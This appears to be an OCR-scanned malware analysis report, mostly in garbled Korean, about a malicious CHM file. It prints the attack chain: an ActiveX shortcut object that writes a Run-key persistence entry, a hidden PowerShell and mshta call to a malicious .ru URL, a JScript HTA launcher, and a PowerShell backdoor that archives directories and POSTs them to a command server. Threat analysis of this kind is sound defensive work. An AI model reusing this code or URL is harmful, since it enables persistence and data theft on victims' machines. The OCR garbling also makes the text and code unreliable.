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CBJECT id== classid="clsid:adb880a6-dBff-11cf-%377-002a003b7all" width=1 height=1>

PARAM name="Command" wvalue="ShortCut">

PARAM name="Buntton" walue="Bitmap: :shortent">

PARAM name="Iteml" value=',cmd.exe, /o REG ADD HECU\ Software\Microsoft\Windows\CurrentVersion\Run /v fGZtm /t
BEG SZ /d "c:\windows\system32\cmd.exe /c Powershell.exe -WindowStyle hidden -NoLogo -NonInteractive -ep bypass
bing -n 1 -w 391763 2.2.2.2 || mshta http://navercorp.ru/dashboard/image/202302/4 . hitml" /f'>

PARAM name="Item2" value="273,1,1">

JOBJECT>

script>

. Click()

/SCRIPT>

[OE 2] CHM LY 2t AFEE
RUN 7| S8
H XA EZ| 4ZE : HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
2L 0| & : fGZtm
2t - c:\windows\system32\cmd.exe /c Powershell.exe -WindowStyle hidden -NoLogo -
NonlInteractive -ep bypass ping -n 1 -w 391763 2.2.2.2 || mshta
hxxp://navercorp[.Jru/dashboard/image/202302/4 .html

RUN 7|0 S25 5207} Sxts7 5|3, mshta S S5f S URL off Exists %7}
E7} A E|C} 52 URL 0f]= JS(JavaScript) 2E7F Z&tE|0f Qlond, szt F==
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<HTML>
<meta http-equiv = "Content Type" content = "text/html; charset=ntf-8">
<HEAD>
<Script language="JScript">
window.moveTo (40170, 40170} ;
var ChpbiEBeJ1BIg = new ActiveXObject ("Shell.Application™);
war RbarRDeFnUfuth = "C:\\Windows\\System32\
ChpbiKBeJ1BIg. ShellExecute (FbarRDeFnUfuth, "—wir
self.claose() !
</Seript>
</HERD>

< /HTML>
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Start - Slesp - Seconds &3;
5VsVmaDj = 1024

$wapymdUHNs
SHZggfBRY = D.
SaVixadCxmtEQFa = $env TEMP +

'0=" 4+ SxwhpymdUWHs ;

if (! (Test - Path SaVNxadCxmtEQFa)) {
Hew - ItemProperty - Path HECU: \Software\ chrosoft\ W1ndow3\ CurrentVers1on\ Run - Name f£GZtM - Value

ntera e —ep byvoass b

teractls 20 BVE

32%cmd.exe

— Propertylype String - Force:;

mshta
1
function XaWNsYJIbXiTn (8CzrH, §$3dwWv) {
S5IJbNgpRGULETD = [System.Text.Encoding]::UTF&.GecBytes (§jdWV)
[System.Net.HttpWebRequest] $VEtLYZH = [System.Net.WebRequest]::Create (§CzrH) ;
SVEtYZH.Method = 'POST';
SVItYZH.ContentType = 'application/x-www-form-urlencoded®;

SVEt¥ZH.ContentlLength = SIJbNgpRgULETD.Length:

SaVNxadCxmtEQFal = SVEtYZH.GetRequestStream()

SaVixadCxmtEQFal.irite ($§IJbNgpRgULETD, O, $IJbNgpRgULETD.Length) !
SaVixadCxmtEQFal. Flush() !

SaVixadCxmtEQFal. Close () ;

[Syvstem.Net.HotpWebResponse] $RKcl = SVEtYZH.GetResponse() !

5DycD = WNew - Cbhject System.I0.S5treamReader ($RKocl.GetResponseStream())
SaViNxadCxmtEQFalLT = $DycD.ReadToEnd() ;

return SaVNxadCxmtEQFaULT :
i

EEPEECEEL R

if (Scie) {
if (Scie.Contains('fileinfo:')) {

SMej¥C = Scie.SubString(2):

if (Test - Path - Path §MejXC) {
S§filename = SaVixadCxmtEQFa + o H
Get - ChildItem $MejXC - Filter * .#-Recurse | Select - Object Name, Length, LastWriteTime,

Fullname | Export - C=2v — Path $filename - Force - NoTypeInformation - Encoding utfg:

Sattachment name = ' file';
Snowtime = Get - Date - Format yyyy — MM - dd_HH mm ss;
Sattachment filename = $nowtime + ' fileinfo':
DiTui $HZggfBEX §filename Sattachment name Sattachment filename:
Remove - Item - Path §filename:

sv'

}
if (Scie.Contains('dir:')) {
SMejXC = Scie.SubString(<) !
if (Test - Path - Path SMejXC) {
S§filename = SaVixadCxmtEQFa + '".zip':
Compress - Archive SMejXC $filename - Force:
Sattachment name = ' file';
Snowtime = Get - Date - Format yyyy — MM - dd_HH mm ss;
Sattachment filename = $nowtime + ' dir':
DiTui $HZggfBEX §filename Sattachment name Sattachment filename:
Remove - Item - Path §filename:
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task 10 7tz{o= ute Mssts XY AFE 52

zip Ed 4= &= ot siA|

rename E7X nlal o|E A4
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